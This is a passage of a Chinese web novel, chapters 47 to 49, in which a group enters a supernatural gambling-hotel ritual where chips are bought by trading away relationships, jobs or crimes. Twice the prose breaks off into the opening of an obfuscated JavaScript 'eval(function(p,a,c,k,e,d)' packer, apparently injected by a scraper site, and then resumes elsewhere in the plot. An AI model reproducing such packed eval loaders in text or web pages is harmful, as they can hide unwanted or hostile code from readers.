可恶是它业务不熟练。早知道它就直接说“不许用术法”了! 现在纸人只能:“……哎呀没事咱就随便一提您下次注意。” 方休冲它露出了“下次一定”的委婉笑容。 酒 足饭饱,第三次祭祀如约而至。 这次二楼变成了青白刮花的墙壁,入口的门则是一扇半新不旧的公寓门。 方休握住白双影的手腕,走在队伍最后。过了祭祀大门,众人眼前出现了一个无比正常的公寓门厅—— 门厅里绿植沙发一应俱全,正对大门处挂了副钟馗像。门厅的照明亮得有点过头,接待处甚至端坐着一位鬼差。 鬼差也是一只纸人,打扮与奠二差不多。它脸上有五只眼睛,呈莲花般的放射状。 看他们进来,五眼纸人没精打采地抬头:“欢迎光临‘欢喜鑫’,我是地府特邀管理人奠五。 贾旭:“您怎么在这?阴差难道不是等祭祀结束才现身吗? 此人又一次站出来当领袖,语气听起来还挺自信的。 奠五捧着个保温杯,依次眨了眨五只眼睛:“其实这里只算祭祀中间站,我们想要提供更好的服务,确保各位早日除厄。 刚刚经历完中秋祭祀,没人信它的鬼话。 奠五又开始叹气:“不信便不信吧,反正你们早除了厄,我这边早下班……对了,我得先给你们发‘欢喜鑫’的房卡。 贾旭皱眉:“房卡又是什么? 奠五背台词似的:“‘ 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方休抬脚就往电梯走。一看方休动了,关鹤和成松云立刻跟上,然后就是黄毛和梅岚。几秒过去,只有贾旭还待在原地。 贾旭脸皮抽了抽,只好不情不愿地走入电梯。 电梯里面没有楼层按钮,活像一具 木棺材,好在空间还算宽敞。 众人全部进入电梯后,电梯原地不动,只见电梯门合上又打开,门后景象陡然改变。 电梯门后是一条走廊,走廊墙上挂着各种各样的吉祥画,两侧排列着公寓门。公寓门一模一样,门上没有任何标记。 出了电梯,黄毛第一个打开信封。 信封里掉出一张金色房卡,以及一张巴掌大的卡片。黄毛看了几眼,响亮地“操”了一声。 “这么直接的吗?”黄毛狐疑地翻卡片,嘴里嘀嘀咕咕。 众人见黄毛没事,跟着撕开了信封。所有人信封里的东西都一样,金色房卡上印着他们各自的姓名和生辰八字,并没有房号。 重点是那张卡片。 方休拿起自己的卡片,差点和黄毛一样“咦”出声。难得见方休这么惊讶,白双影也凑过去看。 那张卡片上明明白白写了三行字—— 第一禁。每日必定赢一场,无则伤。 第二禁。本金须得人生换,窃则罚。 第三禁。手中必须有筹码,失则死。(※注意,此为死忌) 一开始就明牌三条禁忌?众人一时不知道该说什么。 ……那个奠五是多想下班啊。 关鹤:“看来地府确实想要快点除厄。” 成松云犹豫:“这些不一定是真的,而且说得很含糊。这里只是公寓,咱们去哪里‘赢’?” 贾旭则是在看房卡:“房卡背面说每扇门都能用,杜志超,你试试。” 黄毛不高兴了:“少指挥我。” 话是这么说,他还是把房卡往最近的门上一扫。 门咔哒一声解锁,轻轻敞开。里面是个还算干净的酒店房,装修还挺不错,没什么奇怪的地方。 黄毛嘿了声,他关好门,又扫了下隔壁房间。门扉再次敞开,和刚才的房间一模一样。 “标间啊?”他奇道,“哎哟,里面还有客房菜单呢,都来看看!” 那张金灿灿的菜单就放在枕头中央,根本忽视不了。黄毛顺手抓起那张菜单,兴奋地展示给众人。 展示之前,黄毛自己大概扫了一眼。菜单设计又繁复又土气,十足的暴发户审美。菜单内容倒是很短,提供的全是些正常东西。 可是他发现,对面众人的表情逐渐变得凝重。黄毛连忙翻过那张菜单,又仔细看了一遍。 这次连黄毛都看出了不对劲—— 《欢喜鑫服务价目表》 ◆一碗菜饭:1筹码 ◆高档套餐:10筹码 ◆高定衣物:10筹码 ◆春宵一夜:100筹码 ◆顶级烟酒:100筹码 ◆金银珠宝:100筹码 ◆十斤**:1000筹码 ~特别优惠~ 入场即赠送筹码一枚! 米汤24小时免费供应! 房内提供特制刀具和台秤! 菜单的正下方,贴着一枚白色的筹码,筹码中央赫然印着一个大大的“1”。 筹码轻轻搏动着,黑色的“1”竖瞳般转来转去,平静地打量六位祭品。 第 47 章 房间分配 第47章房间分配 【欢喜鑫天地。】 “**,怎么还卖**?!黄毛震惊。 他一边感慨,一边嚓地撕下筹码,揣进自己的裤兜。这筹码是长得恶心了点,但万一就送这一枚咋办? 经历完自相残杀的中秋祭祀,关鹤有点应激。他靠近方休,小声问:“方哥,又是**又是刀,咱们不会又要互杀吧。 方休摇摇头:“目前看来不会。**是要卖给我们的,没说支持回购。 菜单上其他东西都很正常,也提供了饭菜选项。“**应该是特殊情况下的需求。至于这个“特殊情况是什么,目前情报还太少。 方休想着,顺手选了黄毛第一次选择的门,用房卡一刷。 看见门内的景象,黄毛羡慕地抽了一口气。刚才开门时,门里明明不是这样的! 如果说黄毛打开的是二百元一晚的普通宾馆,方休分到的就是两千元以上的精品山景房—— 满墙落地窗外全是金绿秋意,风景如画,鸟鸣声声。房内甚至还配了超大床铺和临窗浴缸。 方休关上门,又随便挑了一扇打开,里面仍然是漂亮的山景房,阳光射入的角度都没变。 山景房的床上也放了菜单,菜单下面贴着个扭来扭去的筹码,内容和黄毛那张一模一样。 方休:“看来房间跟着房卡走。 “这不公平!黄毛大怒,现在他觉得自己那个破房间啥也不是。 他推了把同样是白信封的关鹤,“小子,你试试。 关鹤的房间一出现,黄毛瞬间平衡了。 那房间像是大学宿舍四人间,床都是上床下桌的款式。其中三张床空着,一张床铺了简单的被褥,枕头上仍然放着那张菜单。 高中生关鹤:“比我们学校的宿舍好,我们是八人间。 他倒不觉得哪里不公平,反而好奇地东张西望。 白信封的三位开房完毕,只剩下红信封的三位。 成松云摩挲了会儿佛珠,刷了关鹤隔壁的房间。房门吱呀呀转开,成松云的脸色瞬间变了。 房内是间普通住宅,目测一厅二室,七十平上下。 房屋装修风格是柔和木质风,窗边绿植生机勃勃,周遭收拾得干干净净。桌上没什么杂物,但果盘之类的容器是空的。 入户鞋柜上摆着一张照片,照片上一家三口满面笑容。 丈夫长相端正,怀抱着一个面颊圆滚滚的可爱女孩,眼中盛满爱意。妻子则依偎着丈夫,两人将女儿围在中间,笑得满足而幸福。 方休一眼就能认出,照片中的妻子,正是年轻时的成松云。 成松云呼 吸急促,她嘭地关上了门,半天才缓过来:“……这是我家。” 想到这个“和睦之家”的结局,方休在心里叹了口气。 贾旭若有所思:“原来‘有因果’是这个意思。” 他刷开离自己最近的那扇门,乐了,“巧了,我这边也是我家。” 他把门大大敞开,确保每个人都能看见里面的模样。 贾旭家走的黑灰金属风,一看就在装修上花了大价钱。房间分了上下两层,窗外是城市的俯瞰景色。 此人还在墙上挂了副自己的艺术照,照片摆着沉思POSE,颇有文艺范儿。 黄毛咋舌,一双眼到处乱看:“哟,这房子得多少平啊。” 贾旭摆摆手:“套内就小两百。” “装饰品不多,有点空。”黄毛显然没有发现美的眼睛,他遗憾地评价。 贾旭:“……这叫极简风。” 他就这么敞着门走进卧室,半天拿出一张带筹码的菜单:“我这也有菜单。但我的酒柜和冰箱都是空的,家里吃的全没了。” 最后开门的是梅岚。 梅岚的情况稍微特殊一点,她说她打开的是前男友的房间。房内装修同样昂贵,但比贾旭家还是差点。 一圈看完,贾旭愉快道:“地府安排得不错啊,住自己家肯定最轻松。小关,要不要来我这住?我楼上有客房,带独立卫浴呢。” 关鹤咕哝:“我觉得宿舍挺好的。” “行,那就说正事。”贾旭脊背斜倚墙壁,他把玩着那枚古怪筹码,脸上的微笑尤其自信。 “又是筹码又是赢一场的。很明显,这次祭祀主题是‘博.彩’。”他一字一顿地说。 成松云脸色难看,她少见地出声呛人:“**就**,什么博.彩。” 贾旭无所谓道:“现在很多都是娱乐性质,体彩还是国家办的呢。小赌怡情,您这个年纪不接受也正常。” 见成松云情绪异常不稳,方休一只手按上她的肩膀,稍稍使力。成松云用力吸了口气,又开始数佛珠。 “话说回来,那三条禁忌可信性蛮高。毕竟遇见心狠手辣的团伙,很容易就能试出真假,没必要多此一举。” 贾旭继续道,“假设那三条禁忌是真的,它们的要求其实就一个字——‘赢’。我们要用祭祀送的这枚筹码,用运气和头脑赢出一条路。” 说到这里,他环视一周,尤其多看了两眼方休,“当务之急是找到使用筹码的地方,以及搞清楚‘本金须得人生换’是什么意思……大家要不来我家开个会吧,我家正好有会议室。” 方休礼貌地微笑:“先收集点信息比较好。” 贾旭啧了声:“也行,反正咱们不愁吃住 。” 他们正说着贾旭隔壁的门突然敞开一道缝。 门上挂着防盗链门里漆黑一片只有一只充血的眼睛上下翻动快速扫视众人。 无人惊叫。如今面对这种等级的恐怖场景大家差不多免疫了。 贾旭:“您——” 他的“好”字还没出口门又嘭地关上对面显然不愿交谈。 方休刚要扭头白双影自觉地表示:“不是邪祟。” 方休轻轻点了点头。 看来这次祭祀也有其他祭品在。只是这条走廊静悄悄的所有门一模一样他们不知道哪个房间里有人也不知道有多少人。 就算三条禁忌被点明了这里的谜题依旧很多…… 方休正在梳理思绪白双影突然凑过来凉凉的长发扫过方休的面颊。 “八百八十八人。”白双影说“包括你们六个此处的祭品一共有八百八十八人。” 听到这个离谱的数字方休微微睁大眼睛。白双影又幽幽补了句:“桃骨煞很好用。” 方休欣慰:“你喜欢就好。” 上次祭祀他们还在挨个数人头呢。白双影突然变得这么厉害果然是桃骨煞的效果。 接着他朝白双影的方向歪过身子悄悄问:“那你能感觉到邪祟吗?” 白双影:“我正想跟你说这地方有些不对劲……这里祭品近千却只有一只邪祟。” “而且它并非正常邪祟我能察觉到它的阴气但无法确定它的位置。” 只有一只邪祟?! 方休震惊之余好奇道:“上次黎烁不也这样吗难道这里的邪祟也是半步鬼仙?” 白双影摇了摇头方休疑惑地偏过脑袋。 直觉类的东西很难描述。白双影思索几秒打了个方休能听懂的比方:“我寻找邪祟就像人在山林中搜寻其他人类。” “黎烁用厄的力量做了伪装衣物完美融入草木所以难找;但这里的邪祟更像一只猴子似人非人无法用‘找人的方法’正常应对。” 方休:“你这么一说会显得那只邪祟很低级……” 没想到白双影直接点头:“确实低级。有我在你不必担心邪祟的事专心解厄便好。” 方休愣了两秒。 随即他捏了捏白双影的袖子 …… 时间还早众人收好房卡在楼里探了探。 好消息欢喜鑫公寓确实有楼梯间。 坏消息但不管上楼还是下楼楼层似乎无穷无尽。 更坏的消息这里每层楼都一模一样——一模一样的门一模一样的地毯一模一样的装饰画……一模一样的 死寂。 楼梯间没有窗户,楼层也没有层数标记。一个不留神,他们连初始楼层都找不到,仿佛进入了一场主打循环的恐怖游戏。 他们始终都没找到禁忌要求“赢一场的地方。 方休痛恨爬楼梯。最后他累得不行,干脆掏出一罐旺○,顺着楼梯间的扶手缝扔了下去。 红色的金属罐顺着狭窄的扶手间隙下坠,迅速消失在黑暗中,然后……没有然后了。 众人迟迟没听见罐子落地的声响,这栋建筑仿佛直通地狱。 黄毛搓搓鸡皮疙瘩:“咱先回吧,我最怵这种莫名其妙的玩意儿。 见方休要张嘴,贾旭立刻:“对,大家先回去,等晚上再出来看看。昼夜切换很关键,前两次祭祀都这样。 方休嗯了声,没再说话。贾旭满意地轻咳一声,走在了队伍最前面。 众人回到原始楼层,挑了相邻的六扇门,决定先行休整。方休把所有人叫到自己的房间,照例分发食物。 “谁要住得不爽可以来我家,我家床垫都是五星级酒店同款,舒服得很。 贾旭说,“哎方休,多给我点吃的,我刚才看了看,家里冰箱还能用呢。 方休乐得省心,当即给他多分了些食物和饮料。贾旭满足地收好,又开始感慨:“不觉得咱们终于时来运转了吗? 黄毛:“时来运转?这鬼地方? 贾旭:“你想,这里免费的只有米汤,一碗菜饭就要1个筹码,吃好点甚至要10筹码。但咱们队里有方休,至少吃喝方面不用愁。 “是有点道理。黄毛往嘴里塞了块猪头肉。 贾旭把玩着自己的筹码:“这次主题是博.彩,禁忌没鼓励大家窝里斗……拼头脑和运气的话,我可不会输。 黄毛噎住:“我咋办啊?我倒希望打架。 贾旭神神秘秘道:“到时你跟着我下注就行,保准赢。 说完他又用余光瞧方休,方休专心喝饮料,貌似完全不感兴趣。 ……算了,贾旭想。方休早晚会屈服。 这回运气最好的就数自己。他之前选了法器“借运骰,简直是再英明不过的决定。他不仅有精于计算的头脑,还有绝对的运气,第三轮祭祀将成为他的主场! 想象了会儿方休低头的场面,贾旭愉快地挑起嘴角。 方休看着一会儿深沉一会儿傻乐的贾旭,稍微有些担忧:“白双影,这里有混乱心智的法术吗? “没有。 “哦…… 分完食物,成松云转向梅岚:“小梅,你那边还有额外的地方吗?我能去住一住不? 梅岚有些尴尬:“姐你不是有家吗?我那边那间房子,呃, 不太方便…… 成松云抱歉地笑笑,没解释。 她又转向关鹤,小声: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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最终,成松云还是跟着关鹤去了四人间,方休也回了山景房。 折腾了大半天,时间已然偏向黄昏。 落地窗外阳光如蜜,染得满窗枝叶泛出金色,看着就让人心情舒畅。 更让方休舒畅的是,大床之上装了造型艺术灯,这意味着白双影没法再面对面躺天花板了。 随即他又有点担心,床对面就是浴缸。万一白双影变成本体躺浴缸怎么办?或者干脆不跟他一起,去躺远处没有灯的天花板? 想到这里,方休的心情又不那么舒畅了。 他眼看着白双影盯着天花板,绕着床慢腾腾地绕圈,活像踩在他的神经上。只见白双影面带沉思,刚张开嘴—— 方休一口**先道:“这床宽两米我一个人睡也是浪费,要不你也躺这? 白双影同时:“我要躺床。 方休:“…… 白双影:“…… 方休:“好的。 心脏又抽了两下。方休摸摸胸口,品味了会儿心悸的感觉。 他难得同意一次贾旭的话,这次祭祀他也时来运转了! 为了藏好扭曲的嘴角,方休噗地扑上大床,从菜单上撕下那枚筹码。筹码温热,在他手中微微颤动,有点儿微妙的恶心。 方休龇牙咧嘴地夹起筹码,把它塞进乾坤口袋。 那筹码顺利地滑入乾坤袋,可见它本身不是邪祟或活物。方休感觉稍微好了点儿,但不打算把它放出来。 第三禁。手中必须有筹码,失则死。 ……他可不想肉身试死忌。 房间电视不能用,浴缸水龙头也打不出水,不过窗外的美景足以弥补这一点。从林中日落到夜幕降临,山林景色美不胜收。 白双影对美景完全不感兴趣,他躺在那张大床上,一会儿化作本体一会儿变成人形,像在评测床垫。最终他选择以人形躺着,黑发铺了满床。 方休坐在床边,指尖玩着一缕黑发,满足地打发时光。 夜晚六点,异象果然出现。 屋里没供电,室内只有明亮的月光。因此,房门处的金光显得格外刺目。 方休和白双影对视一眼,小心翼翼地接近房门。他的手指刚碰到金光,整个人就猛地往前一倒,像是被一只看不见的手拽了一把。 要不是白双影抓住了他的后衣领,方休得当场摔个嘴啃泥。 再抬起头后,他愣了许久。 就算知道这里有八百八十八人,这么多人一下子挤到眼前,场面还是很壮观的—— 此刻,他们正站在一个金碧辉煌的巨大门厅。 门厅铺满金红配色的厚地毯,金灿灿的灯光晃得人眼晕。大门对面墙壁上,装饰着“欢喜鑫天地”五个鎏金大字。 字下方有个豪华的剧院式**门。门边站着一男一女两位迎宾,身材完美到夸张,漂亮得不像正常人。 他们笑眯眯地指着门牌,门牌上赫然写着“营业时间18:30~23:30”。 可能是住得近的缘故,方休身边就是他的同伴。 黄毛惊呆了:“我靠,这么多人?都是活人?!” 贾旭则皱起眉头:“18:30开门,现在才18:00,什么意思?” 下一秒,他们就得到了答案。 周围人发现了这六张新面孔,纷纷朝他们看过来。成松云打了个激灵,刚要防御,就见那些人变了脸色。 他们齐刷刷露出了无比谄媚的笑容。 “新来的!” “我靠是新人——!” “他们没换过筹码!” “想不想要更好的房间?” “哥哥姐姐要不要陪一晚?” “……只要借我筹码,你想做什么都行!” 无数只手朝他们伸过来。 第 48 章 筹码兑换 第48章筹码兑换 【最好的祭祀。】 白双影警惕地揽住方休,桃骨煞横在方休胸口。那架势比起保护看起来更像匪徒劫持人质。 方姓人质感动地抬起头眼睛亮晶晶的:“白双影你看,这里有好多生魂。” “嗯。”白双影仍警惕地瞄着四周,生怕自家人类一不留神被挤死。 好在人们没有动粗只是复读机似的一遍又一遍恳求,姿态可笑又可怜。 “这不是我们第一次祭祀我们又不傻!” 眼看人越来越多贾旭站到最前方,嗓门扯得老高“不借不借!搞清情况前,我们一个子儿都不借!” 黄毛跟着推搡人群:“爷爷手里也就一个筹码,滚滚滚!” 驱赶之下,人群行尸走肉般地散开只有少部分——尤其是长相漂亮的男男女女——还在努力推销自己。 他们衣着暴露恨不得整个人贴上来:“菜单玩一晚要100筹码,我只收1个,哥哥姐姐再考虑下……” 成松云脸色奇差,加上年纪摆在那,没人接近。关鹤喊了声“我还没成年”,狼狈地躲到成松云身后。 眼看一男一女朝自己冲来,方休把发丝指环从中指挪到无名指:“已婚超爱,别逼我揍人。” 他说得和真有那么一回事似的,连成松云都动摇了两秒。 黄毛倒抽一口凉气:“**哥们你真搞男艳鬼啊?” 方休:“地府又不禁止办公室恋爱。” 白双影:“?” 黄毛:“???” 方休莞尔:“开个玩笑没谈。” 黄毛半信半疑地看了他一眼,咕哝了两句。 白双影倒是瞧了方休好一会儿 白双影不假思索:“不介意你随意用。” 虚名罢了人类给他安的名头多了去方休这种还算好听的。而后白双影想了想又觉得“随意”这范围太宽泛。 于是白双影低声补充:“但你我只能是明媒正娶的关系不得给我安不三不四的身份。” 方休:“……” 方休嘴巴张张合合半天磕巴了一句:“……好。” 说完他飞快挪开视线打量周遭力图把那句“明媒正娶”赶出脑子。 他们惨遭乞讨的同时门厅其他地方正儿八经做起了交易。 说是交易本质还是“换筹码”。 有人用身体换筹码有人用法器和房卡换筹码有人折价出售之前赚来的珠宝烟酒。方休专心听了半天没听到和“**”有关的交易。 当然也有 人现场租借筹码。和善点的要求九出十三归,狠些的干脆要求借一还二。 每当有交易达成,两人身周便会有一道金光闪过,比土豪页游的升级效果还夸张。 最热闹的“摊位在门厅正中心,那里站着个胖子。 胖子长了个圆鼻头,耳垂肥大,看着颇为喜庆。 他口袋塞满筹码,身边全是排队租借筹码的人。只见交易金光闪了又闪,筹码流通堪比小型银行。 方休盯着看了会儿,发现自己手里的“1筹码最不值钱。 胖子那边起步筹码是“10 它们就那样暴露在外,众人看得直咽口水,但没人上前抢夺。 一切都很和平。问题是,一切和平过头了。 刚才人群向他们拥挤过来,被拒绝后又乖顺地散去,期间没有任何拉扯。 筹码交易生死攸关,门厅气氛却比全是大爷大妈的农贸市场还融洽。以祭品的**率,这根本不正常。 不是吧,难道这里禁止暴力? 想到业务没得做,自家鬼可能没得吃,方休情绪逐渐低落。他第一次与地府同仇敌忾,只想尽快掀了这场祭祀。 “禁忌的核心是筹码啊……方休靠在自家鬼怀里,盯着胖子嘀咕。 “要得到筹码,只能走正规交易。要么和欢喜鑫交易,要么和其他人交易。有‘窃则罚’的禁忌在,偷盗和**可是会犯忌的。 一个男声在身后响起。方休转过身,看到了一个流浪汉似的男人。 男人看着三十来岁,长相威严。可惜一脸疲惫,双眼满是血丝,那点儿威严变得无比单薄。 “我叫宋铮,我代表我的队伍和你交易。男人自我介绍道。 方休扬起眉毛:“我不买卖筹码。 宋铮左右看了圈,谨慎地压低声音:“我想用情报与你交易食物。 “……你怎么知道我有食物?方休眯起眼。 宋铮叹了口气:“不瞒你说,白天偷看你们的就是我。 “我听那人说‘不愁吃住’,又看他们去你的房间拿食物,你应该有获取食物的途径。 “各位初来乍到,应该用得上情报……当然,还是要看你本人的意愿。 方休端详了会儿宋铮的脸,他的“恶人名单里没有这号人。 “可以。方休说。 他本就有心用食物换点情报,对方找上门正好。 这个宋铮头脑敏锐,行为也够果断,他不讨厌和这种人打交道。 方休本想从乾坤袋里拿罐饮料当订金,结果他的手摸 来摸去,只能摸到那枚筹码。 宋铮苦笑:“这里只有筹码和地府法器能用,普通物品进不来。” 方休有些吃惊:“那些人又是怎么交易的?” 他分明听到有人卖房卡和普通物品。公寓楼层无限循环,回去怎么找人? 宋铮:“哦,祭祀会担保。只要在这里达成交易,客房菜单会出现新的交易选项。” “到时买家直接点菜单,卖家自动收到筹码。除了出**体,买卖两方不需要见面。” 方休默然。 宋铮能跳过筹码跟他交易,也就是他们刚巧住同一层。否则宋铮就算知道他能提供食物,也找不到他在哪。 之前的祭祀都是诱导祭品内部冲突,这次祭祀却生怕祭品当面起**,甚至干起了第三方担保平台。 ……到底什么执念能催生这玩意儿啊? “待会儿你先简单做做介绍。出去后,我会给你提供食物。”方休有点无力地说。 …… 夜晚六点半一到,欢喜鑫天地的大门缓缓敞开。 门内风格比门厅还要奢华——里面大剧院一样分了六层楼。空气中飘了提神的熏香,灯光比白昼还亮。 **闪烁不止、轮.盘随处可见。每张赌桌都配了衣着清凉的美女帅哥,那些甜蜜的微笑像是刻在了脸上。 一楼正中央,设了个颇有未来感的环形接待台。接待台上方挂着四方电子巨幕,屏幕上“筹码兑换处”五个字无比耀眼。 五个字下方,清晰地展示着兑换提示—— 《欢喜鑫人生因果兑换表》 ◆亲朋好友:单人可换1筹码 ◆当前工作:每份可换10筹码 ◆当前存款:万元可换10筹码 ◆挚爱之人:单人可换100筹码 ◆骨肉亲情:单人可换100筹码 ◆人间房产:每套可换100筹码 ◆身上血债:每份可换1000筹码 ~特别优惠~ 兑满100筹码额外送10筹码! 赢满100筹码解锁中级《服务价目表》! 赢满1000筹码解锁高级《服务价目表》! ※注意事项※ **所有筹码交易由欢喜鑫平台监管。 **单笔交易≥10筹码时,平台将收取10%服务费。 **欺诈、强迫、伤害他人以获取筹码/筹码商品,将被视为偷窃筹码,欢喜鑫将没收偷窃者全部筹码。 宋铮很自觉地带上方休一行人,导游般解说:“筹码要是花光了,可以去接待台兑换。不过,如果你选择进行兑换,祭祀会收走你的因果。” “拿‘亲朋好友’为例,你只要进行兑换,对方就会彻底忘记你这个人; 如果兑换了‘当前工作’你在阳间的工作便会消失。” 贾旭好奇:“那‘身上血债’呢?要是血债的因果消失那岂不是双赢?” 宋铮:“……血债不太一样。如果选了血债你的罪行会被公之于众。无论是在阳间还是在这里。” 贾旭没再问下去黄毛反而来了兴致:“《服务价目表》还能升级啊?” 宋铮:“你们房间都没水电吧。” 贾旭云淡风轻:“我家冰箱装了光伏储能组件 宋铮礼貌地笑了笑继续道:“我听说中级服务可以解锁房间全部功能。高级的甚至提供网络除了不能联系人间不能外出旅游和人间没什么区别。” “好家伙……”黄毛明显心动了。 他的想法几乎全写在了脸上——祭祀只要求他们手里有筹码每天赢一次。只要不**这些禁忌很容易满足。 等攒够筹码他们能从别人那里换更奢华的房间点美食抱美人甚至可以上网娱乐。 宋铮垂下目光:“很多人真心想在这里长住。如果你们想要破坏厄还是不要到处宣扬比较好。” 方休摩挲着嘴唇专注地盯着电子屏幕。 第二禁。本金须得人生换窃则罚。 ……原来“用人生换”是这么个换法。欢喜鑫赚的筹码欢喜鑫花一个《兑换表》一个《服务表》消费闭环都做好了。 宋铮转向方休:“这次我只能解说到这种程度你还有别的问题吗?” “我有两个问题。” 方休指向门厅的方向“第一个问题那扇小门是什么?” 六点半到来时门厅敞开的门不止一扇。 除了这扇超夸张的入口大门角落里还有一扇小门静悄悄敞开。它又窄又不起眼门内一丝光也没有连方休都差点没注意到。 门顶挂了“安全出口”提示但没有通电标志看起来灰扑扑的。 宋铮有点紧张舔舔嘴唇:“等收到食物我再告诉你。现在我只能说那是‘二选一’的门。” “今晚你进了欢喜鑫天地就没法再去那扇门。反过来也一样一旦你踏进那扇门当晚就没法再来欢喜鑫天地。” 成松云:“正好分开探查我可以去那边。” 欢喜鑫天地的赌场豪华又舒适可她看起来一秒都不想待在这里。 宋铮沉默片刻还是出声提醒:“那边不是赌场。如果选那边当天肯定会犯忌。” 第一禁。每日必定赢一场无则伤。 方休嗯了声:“其实这就是我想问的第二个问题——如果我们当天没有赢‘伤’是怎么个伤法?” 宋铮犹豫了会儿,他动动嘴唇,还是说了:“十斤**。” “……什么?” “只要当天一场都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“孩子,别碰那东西。”成松云眼睛多出几根血丝,看着有点神经质。 关鹤又看向方休,他发现方休也原地不动,只是抱着手臂看着。于是他乖乖待在了原地,没有再挣扎。 贾旭似笑非笑地瞥了眼三人,带着黄毛和梅岚一起押注。这次他押了红36,还是单押。 小球再次跳动,轻巧地停在了标有36的格子。 贾旭的筹码暴增到了1296枚,黄毛和梅岚的筹码也变成36枚。美女荷官笑盈盈地取出一枚1000金筹码,连带着其他几个大筹码,双手捧给贾旭。 “先生,您好厉害呀。”她柔柔地说,“您可以去服务台升级客房菜单,还有,赌场里所有工作人员都可以指名一夜春宵哦~” 荷官冲贾旭抛了个媚眼,完全没顾及其他旁观者。 新人两次轮.盘单押,连续命中。无数道视线射过来,包括门厅那位胖胖的“筹码大户”。 贾旭挺胸抬头,明显很享受这种被目光包围的感觉。 无所谓,反正“借运骰”是他的,别人抢不走。而且这里还不能伤人,简直就是天堂! 黄毛一把勾住贾旭的脖子,兴奋得满脸红光:“呀吼!今天的禁忌搞定咯——厉害啊贾哥,你这一手简直无敌!” 贾旭谦虚:“还好还好。” 接着他转向方休,咳嗽一声,“接下来你们只能靠自己了。不是我不帮你们哈,我的借运骰不能无节制使用,你们应该记得……” 方休点点头:“记得。” “借运骰”,它可以将持有者未来的运势借到现在,让持有者变得极其强运。 然而天道平衡,借来好运,未来就得以霉运相抵。作为违逆天道的代价,还的霉运总量会比借的好运更多,相当于某种利息。 当初方休看完说明,觉得这东西更应该叫“运气贷”。 不过和人间贷款不同的是,“还霉运”是按照生死簿上的死期倒着算的。 如果贾旭只借一天运,他的霉运会在死期当天还。如果贾旭明天还要借运,那么他死期前一天也要倒霉……以此类推。 其实这个法器算得上有用,贾旭的选择没什么问题。同一份好运,在祭祀和人间的意义完全不同。 然而他不该用在这种场合,方休心想。 贾旭赢得志得意满,他又招呼方休:“我打算去那边升级高级《服务价目表》,你要去看看吗?说不定有新线索呢!” 方休摆摆手:“不用了,等从这里回去也能看。” “行,那咱们就在这分开,等回去了再碰头。”贾旭很干脆。 黄毛又跟贾旭勾肩搭背起来,梅岚握紧筹码,犹豫了好一会儿,还是跟着贾旭走了。 关鹤揉搓着自己的筹码,有些担忧:“方哥,咱们怎么办,不赢要割十斤肉……” 成松云:“我死也不赌。” 白双影低头看方休。 他知道,如果方休愿意,此人不知道能把多少血债换成筹码——单单两场祭祀下来,方休就结果了六个人。 就算这份血债被公布给人间,人间也管不了地府的事。一份血债1000筹码,对于方休来说,这6000个筹码和白送没什么区别。 方休不愁吃住,接下来只要一枚一枚押单双,可以轻松做到白天集中探索,晚上“赢一场”。这里似乎没禁止筹码赠送,方休也可以把多余的筹码送给同伴。 可是白双影从未见过这么严肃的方休。 “关鹤,你有多信任我?”方休沉默良久,异常严肃地问道。 关鹤咽了口唾沫:“就……挺信的?” “那就别赌,筹码也先别换,今晚纯探索。” 方休说,“然后,我们一起犯忌。” 第 49 章 禁忌漏洞 第49章禁忌漏洞 【最小的牺牲。】 “我们一起犯忌。方休说。 宋铮闻言有些焦急,又不想免费撒情报。他憋了半天,说:“那我继续带你们逛……还要等那三位吗? 贾旭他们去服务台升级客房菜单了,现在还没回来。 方休笑了笑,眼里却没什么笑意:“不用,我们想看的东西大概不一样。 宋铮踌躇几秒,先把方休几人带到了猜大小的区域。 这里的**多灰头土脸,脸上一派麻木,气质犹如角落里的蘑菇,俨然一副“破产者联盟的模样。 宋铮薅出蹲在一起的两只蘑菇,介绍:“这两位是我队友。小田、小李。 他先后指了指那个年轻姑娘,和旁边的小伙子。 两人面黄肌瘦,表情麻木得像是戴了面具。但听到宋铮介绍,他们仍然点了点头。 “今天怎么样?宋铮问。 小田:“我开头赢了一场,小李输二赢一,筹码算是平了。哥你还没赢吧? 宋铮摇摇头。 小李:“今天每人一碗菜饭,净减3个筹码,咱手里只剩11个筹码。老宋,你今天可别输太惨,不然接下来只能喝米汤咯。 他这话说得有气无力,连语调都没什么起伏。 宋铮看了眼方休:“介意我待会儿不? 方休摇头。 宋铮往两只手各吐一口气,使劲搓了搓,走向押大小的赌桌。面对这些落魄的祭品,荷官的笑容甜美依旧。 宋铮小心翼翼拿出1筹码,押了上去:“小。 骰子喀啦啦作响,一五六,开出了“大。1筹码当场打水漂。 宋铮又摸出一枚筹码,咬牙:“小! 荷官开骰,四四六,还是“大。 宋铮额头见汗,他在裤子上抹了把手汗,又拿出一枚筹码:“大…… 荷官微笑着开出一二四,这次结果反倒是“小。 转眼间,3筹码灰飞烟灭。 小李苦着脸骂了一声,宋铮唉唉叹气。半分钟后,他舔舔干裂的嘴唇,有点哆嗦地押下一枚:“……小。 终于,这次骰子停在了一三四上,是“小。 发现自己赢了,宋铮整个人瘫软了一瞬。 “完了,还剩9筹码。不输不赢也只能再撑三天。小田苦涩道,“要不、要不我去把我和我姐的因果换掉…… 她说着哆嗦了一下,又强装镇定,“100筹码,够我们再撑几周。 刚看完贾旭轻轻松松1筹码变1000多筹码,再看这边一个一个筹码地磨,关鹤有种荒诞的不真实感。 他不由地舔舔嘴唇 问:“你们熟人之类的呢都换了吗……?” 听到这个问题小田愤怒地笑了声。 宋铮摇摇头叹气:“我来解释吧反正没什么信息价值 ……曾经他的组员年轻力壮相处和睦。 大家齐心协力通过了三场祭祀这是宋铮的第四场——进入第四场时他们组还有五个人足以说明整体水平之高。 一个月前他们来到了欢喜鑫天地。 和方休差不多宋铮他们对这个地方没好感只想尽快破坏厄。 众人决定每天只赢一次绝对不贪。为了防止有人上头他们特地将筹码集中管理。 “我们把筹码全都‘无息出借’给了组里最冷静的人阿清。” 宋铮有些苦涩地说“他是名牌大学博士生整个组最聪明的人。前三次祭祀就数他的功劳最大。” 关鹤忍不住看向方休——听上去阿清正是宋铮他们组的“方休”。 方休:“然后呢?” “阿清建议我们先把不重要的熟人换成筹码轮流玩猜大小并且用倍投打法。倍投知道吧?就是一局不赢下一局筹码加倍。” 